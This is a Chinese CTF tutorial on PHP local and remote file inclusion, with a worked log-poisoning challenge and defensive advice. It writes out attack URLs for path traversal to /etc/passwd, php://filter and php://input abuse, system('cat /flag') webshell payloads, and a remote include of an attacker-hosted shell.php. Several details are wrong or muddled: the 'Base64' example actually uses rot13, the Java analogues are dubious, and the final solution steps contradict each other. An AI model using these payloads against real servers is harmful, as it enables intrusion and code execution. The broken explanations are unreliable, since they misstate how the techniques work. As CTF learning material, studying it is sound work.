CTF-Web学习笔记:文件包含篇
目录
引言
一、文件包含的核心原理
1. 什么是文件包含?
2. 漏洞成因
二、CTF中最常见的2类文件包含漏洞
1. 本地文件包含(Local File Inclusion, LFI)
2. 远程文件包含(Remote File Inclusion, RFI)
三、CTF实战:文件包含的“花式利用”技巧
技巧1:包含日志文件——窃取用户输入
技巧2:利用PHP封装协议——绕过路径限制
技巧3:目录穿越——突破文件路径限制
技巧4:结合文件上传——执行任意代码
四、CTF实战案例:一道LFI+日志泄露综合题
题目背景
解题步骤
五、总结与防御建议
对CTF选手的建议
对开发者的防御建议
引言
在CTF(Capture The Flag,夺旗赛)的Web安全赛道中,文件包含漏洞(File Inclusion Vulnerability) 是一类“看似简单却极具破坏力”的漏洞。它利用的是应用程序动态包含文件时,未对用户输入的文件路径做严格校验的缺陷,导致攻击者可以“操控”程序加载任意文件(甚至远程代码),最终实现敏感信息窃取、代码执行等目标。
本文将结合CTF实战场景,从基础概念到高阶利用,带你彻底掌握文件包含漏洞的“攻防密码”。
一、文件包含的核心原理
1. 什么是文件包含?
文件包含是编程语言中常见的功能(如PHP的include
、require
,Java的@Include
,Python的import
),用于将外部文件的内容插入当前文件中执行。例如,一个PHP页面可能通过include($_GET['page']).php
动态加载用户指定的页面。
2. 漏洞成因
若程序未对用户输入的文件路径(如$_GET['page']
)做合法性校验(如路径白名单、格式过滤),攻击者可通过构造恶意路径,让程序包含任意文件(本地或远程),甚至执行恶意代码。
二、CTF中最常见的2类文件包含漏洞
1. 本地文件包含(Local File Inclusion, LFI)
攻击者通过控制包含路径,让程序加载服务器本地的敏感文件(如配置文件、日志文件、源码文件等)。
关键条件:程序使用动态包含函数(如PHP的include
/require
),且未限制文件路径范围。
典型利用场景:
- 包含
/etc/passwd
(Linux系统用户信息)、/etc/shadow
(Linux密码哈希)等系统文件; - 包含网站日志(如Nginx的
access.log
),从中提取用户输入的敏感数据; - 包含上传目录中的恶意文件(如用户上传的PHP木马)。
2. 远程文件包含(Remote File Inclusion, RFI)
攻击者通过控制包含路径,让程序加载远程服务器上的文件(需目标服务器开启远程文件读取功能)。
关键条件:
- 程序使用动态包含函数;
- 服务器配置允许远程文件包含(如PHP的
allow_url_include=On
); - 远程服务器可被攻击者控制(或存在可读取的公开文件)。
典型利用场景:
- 包含远程服务器上的恶意PHP脚本(如
http://attacker.com/shell.php
),直接在目标服务器执行代码; - 利用远程文件存储的敏感数据(如
http://attacker.com/flag.txt
)获取Flag。
三、CTF实战:文件包含的“花式利用”技巧
技巧1:包含日志文件——窃取用户输入
若应用存在表单提交或错误日志记录,攻击者可通过包含日志文件获取用户输入的敏感数据(如密码、API Key)。
示例:
假设网站日志路径为/var/log/nginx/access.log
,攻击者构造包含路径:
http://target.com/include.php?page=../../../../var/log/nginx/access.log
程序会加载该日志文件,若日志中记录了用户提交的password=123456
,攻击者可直接从日志内容中提取密码。
技巧2:利用PHP封装协议——绕过路径限制
PHP提供了一系列“封装协议”(如php://filter
、php://input
),可在不直接访问文件系统的情况下读取或写入数据,常用于绕过路径过滤。
-
php://filter:用于读取文件的原始内容(可结合编码绕过过滤)。
示例:读取/etc/passwd
并Base64编码输出(避免特殊字符被拦截):http://target.com/include.php?page=php://filter/read=string.rot13/resource=/etc/passwd
(
string.rot13
是一种编码方式,可将内容转换为可打印字符,绕过WAF过滤。) -
php://input:用于读取POST请求的正文内容(需
allow_url_include=On
且request_order
包含GP
)。
示例:攻击者发送POST数据<?php system('cat /flag'); ?>
,构造包含路径:http://target.com/include.php?page=php://input
程序会执行POST中的PHP代码,直接读取Flag。
技巧3:目录穿越——突破文件路径限制
若包含路径被限制在某个目录(如/var/www/html/
),攻击者可通过../
(上级目录跳转符)跳出限制,访问其他目录。
示例:
目标路径限制为/var/www/html/user/
,攻击者构造:
http://target.com/include.php?page=../../etc/passwd
../../
会将路径跳转到/var/www/html/
的上级目录(如/var/www/
),最终访问/etc/passwd
。
技巧4:结合文件上传——执行任意代码
若应用存在文件上传漏洞,攻击者可先上传一个恶意PHP文件(如shell.php
),再通过文件包含执行该文件。
示例流程:
- 上传
shell.php
(内容为<?php system('cat /flag'); ?>
)到/uploads/
目录; - 构造包含路径:
http://target.com/include.php?page=/uploads/shell.php
; - 程序加载
shell.php
并执行,输出Flag。
四、CTF实战案例:一道LFI+日志泄露综合题
题目背景
CTF题目链接:http://ctf.example.com/logger
,页面提示“查看今日日志”,参数为log=file.log
(即http://ctf.example.com/logger?log=file.log
)。
解题步骤
-
判断漏洞类型:
修改log
参数为../../etc/passwd
,页面返回Linux用户信息,确认存在本地文件包含漏洞。 -
定位日志路径:
尝试包含access.log
,发现页面返回Nginx访问日志内容,推测日志路径为/var/log/nginx/access.log
。 -
构造日志注入:
攻击者提交表单数据(如登录表单)时,在用户名字段插入<?php system('cat /flag'); ?>
,日志会记录该请求:127.0.0.1 - - [28/Jul/2025:16:03:09 +0800] "POST /login HTTP/1.1" 200 123 "-" "Mozilla/5.0" "<?php system('cat /flag'); ?>"
-
包含日志文件获取Flag:
构造包含路径:http://ctf.example.com/logger?log=../../../../var/log/nginx/access.log
页面返回日志内容,其中包含攻击者插入的PHP代码。但此时代码未执行,需进一步利用。
-
二次包含执行代码:
由于PHP的include
函数会执行包含文件中的代码,攻击者再次构造:http://ctf.example.com/logger?log=php://filter/convert.base64-encode/resource=../../../../var/log/nginx/access.log
(通过
php://filter
读取日志内容并Base64编码,避免特殊字符被拦截。)
解码后得到日志中的PHP代码,复制到新的包含路径:http://ctf.example.com/logger?log=php://input
发送POST数据为日志中的PHP代码,程序执行后输出Flag:
flag{file_include_log_leak}
。
五、总结与防御建议
对CTF选手的建议
- 熟悉动态包含函数:重点关注PHP的
include
/require
、Java的@Include
等函数的参数传递方式。 - 善用路径穿越:
../
、%2e%2e%2f
(URL编码的../
)是突破路径限制的关键。 - 结合其他漏洞:文件包含常与文件上传、日志注入结合使用,需综合分析。
对开发者的防御建议
- 严格校验输入路径:限制包含文件的目录范围(如仅允许
/templates/
目录),禁止绝对路径或上级目录跳转。 - 关闭危险配置:生产环境中关闭
allow_url_include
(PHP)、requestOrder
包含远程源(Java)等危险功能。 - 日志脱敏:过滤日志中的用户输入(如
<
、>
、<?php
),避免记录可执行代码。
最后提醒:本文仅用于CTF学习,请勿用于非法渗透!